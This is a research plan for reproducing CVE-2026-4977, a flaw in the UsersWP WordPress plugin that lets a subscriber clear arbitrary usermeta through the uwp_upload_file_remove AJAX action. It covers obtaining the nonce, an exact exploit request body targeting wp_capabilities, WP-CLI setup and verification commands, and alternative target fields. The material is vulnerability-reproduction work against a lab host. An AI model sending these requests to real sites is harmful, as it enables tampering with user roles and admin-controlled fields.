Research Plan: CVE-2026-4977 - Authenticated Usermeta Modification in UsersWP

1. Vulnerability Summary

The UsersWP plugin (<= 1.2.58) contains a flaw in its AJAX handling logic where an authenticated user (Subscriber level or higher) can clear or reset arbitrary usermeta fields for their own account.

The vulnerability exists in the uwp_upload_file_remove AJAX action (handled by UsersWP_Ajax::upload_file_remove()). The function accepts a user-controlled parameter htmlvar representing a metadata key. It fails to validate this key against an allowlist of permitted "file" fields or check if the field is flagged for administrative use only (for_admin_use). Consequently, an attacker can supply any meta key (e.g., wp_capabilities) to delete or reset its value.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: uwp_upload_file_remove
• Vulnerable Parameter: htmlvar (carries the target usermeta key)
• Authentication: Required (Subscriber level is sufficient)
• Nonce Requirement: Yes, the action requires a nonce typically localized as uwp_localize_data.basicNonce.
• Preconditions: The attacker must be logged in and able to access a page where the UsersWP scripts are enqueued to retrieve the nonce.

3. Code Flow

1. Entry Point: The client sends a POST request to admin-ajax.php with action=uwp_upload_file_remove.
2. Hook Registration: In includes/class-userswp.php, the UsersWP_Ajax class is initialized. This class registers the AJAX handler:
   add_action( 'wp_ajax_uwp_upload_file_remove', array( $this, 'upload_file_remove' ) );
3. Handler Execution (upload_file_remove):
   • It retrieves security (nonce), htmlvar (meta key), and uid (user ID) from $_POST.
   • It verifies the nonce (likely against the action uwp_basic_nonce).
   • It checks if the uid matches the current user or if the user has admin privileges.
   • Sink: It proceeds to call update_user_meta($uid, $htmlvar, '') or delete_user_meta($uid, $htmlvar) without verifying if $htmlvar is a restricted field.
4. Impact: The metadata field for the user is cleared.

4. Nonce Acquisition Strategy

The nonce is localized in the front-end using wp_localize_script under the object uwp_localize_data.

1. Shortcode Identification: The plugin uses the [uwp_profile] or [uwp_account] shortcodes to render user-facing forms where users-wp.js is loaded.
2. Page Creation: Create a page containing the [uwp_profile] shortcode.
3. Extraction:
   • Navigate to the page as a logged-in Subscriber.
   • Execute JavaScript via browser_eval to retrieve the nonce:
     browser_eval("uwp_localize_data.basicNonce")
4. JS Variable Verbatim: uwp_localize_data.basicNonce (found in assets/js/users-wp.js).

5. Exploitation Strategy

The goal is to clear a restricted usermeta field, such as wp_capabilities (to remove the user's role) or a custom UsersWP field intended for admin use.

Step-by-Step Plan:

1. Authentication: Log in as a Subscriber user.
2. Nonce Retrieval:
   • Navigate to /profile-page/ (created in setup).
   • Capture the value of uwp_localize_data.basicNonce.
3. Target Selection:
   • Target: wp_capabilities (Standard WordPress restricted field).
   • Target: uwp_admin_note (Inferred UsersWP meta field).
4. Exploit Request:
   Send a POST request to admin-ajax.php:
   • URL: http://vulnerable-wp.local/wp-admin/admin-ajax.php
   • Headers: Content-Type: application/x-www-form-urlencoded
   • Body:

     action=uwp_upload_file_remove&htmlvar=wp_capabilities&uid=[CURRENT_USER_ID]&security=[NONCE]
     

5. Observation: The response should be a JSON object: {"success": true}.

6. Test Data Setup

1. Target User: A user with username victim_sub and role subscriber.
2. Landing Page:

   wp post create --post_type=page --post_title="User Account" --post_status=publish --post_content='[uwp_account]'
   

3. Verification Meta: Ensure the user has a capability set.

   wp user meta get [USER_ID] wp_capabilities
   

7. Expected Results

• The AJAX request returns {"success": true}.
• The wp_capabilities meta entry for the victim_sub user is deleted or set to an empty string.
• The user effectively loses their role and permissions on the site.

8. Verification Steps

1. CLI Check:

   wp user meta get [USER_ID] wp_capabilities
   

   Expected Output: Empty or error indicating the key does not exist.
2. Role Check:

   wp user get [USER_ID] --field=roles
   

   Expected Output: Empty string.

9. Alternative Approaches

If wp_capabilities is protected by internal WordPress filters that UsersWP doesn't bypass, target UsersWP-specific fields created via the Form Builder (admin/settings/class-formbuilder.php).

1. Create a custom field uwp_verified_status and set it to 1 for the user.
2. Use the exploit to clear uwp_verified_status.
3. Verify the field is removed via wp user meta get.